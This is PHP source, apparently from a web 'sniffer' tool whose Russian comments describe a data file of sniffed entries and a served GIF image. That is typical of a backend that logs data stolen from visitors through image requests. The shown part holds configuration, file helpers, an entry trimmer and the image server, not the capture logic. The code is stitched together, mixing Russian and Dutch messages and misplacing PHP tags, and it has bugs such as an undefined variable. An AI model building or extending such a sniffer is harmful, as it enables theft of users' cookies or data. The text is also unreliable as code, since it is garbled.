if (!defined("FILE")) die("Ошибка доступа.");
$data_filename = "data.txt"; // имя файла с данными сниффера
$image_filename = "i.gif"; // имя файла с рисунком
$style_filename = "style.css"; // имя файла со стилем
$max_entries = 50; // лимит записей. впишите 0 для снятия лимита
$entries_on_page = 0; // кол-во записей на одной странице (для всех пользователей)
// впишите 0, чтобы отключить постраничный вывод
$pages_pos = "updown"; // где располагать список страниц (при включенной пред. опции)
// возможные значения: "up" - вверху, "down" - внизу, "updown" - вверху и внизу
$info_line = true; // показывать полосу информации в верху страницы (время, IP, ссылка "Обновить")
?>
function get_file_content($filename)
{
if (!file_exists($filename)) fclose(fopen($filename, "w"));
if (!file_exists($filename)) die("Bestand $filename niet gevonden.");
$content = (filesize($filename) > 0) ? @fread(fopen($filename, "r"), filesize($filename)) : NULL;
if ($content === false) die("Geen toegang tot $filename.
\n
\nCheck CHMOD (666).");
return $content;
}
function put_file_content($filename, $content)
{
$fp = fopen($filename, "w");
fputs($fp, $content);
fclose($fp);
}
function cleaner()
{
global $data_filename, $max_entries;
if ($max_entries == 0) return false;
$data = array();
$data_content = get_file_content($data_filename);
if ($data_content !== NULL) $data = unserialize($data_content);
while (count($data) >= $max_entries) $data = del_id($data, array(0));
$data_content = serialize($data);
put_file_content($data_filename, $data_content);
return true;
}
function del_id($array, $id_array)
{
foreach ($id_array as $id) if (isset($array[$id])) unset($array[$id]);
$temp = array();
foreach ($array as $value) $temp[] = $value;
return $temp;
}
function show_image()
{
global $image_filename;
if (!$image = @fopen($image_filename, "rb")) {
if (!file_exists($filename)) die("n\Bestand $image_filename niet gevonden.");
else die("Kan file $image_filename niet openen.");
}
header("Content-Type: image/gif");
fpassthru($image);
fclose($image);
}
?>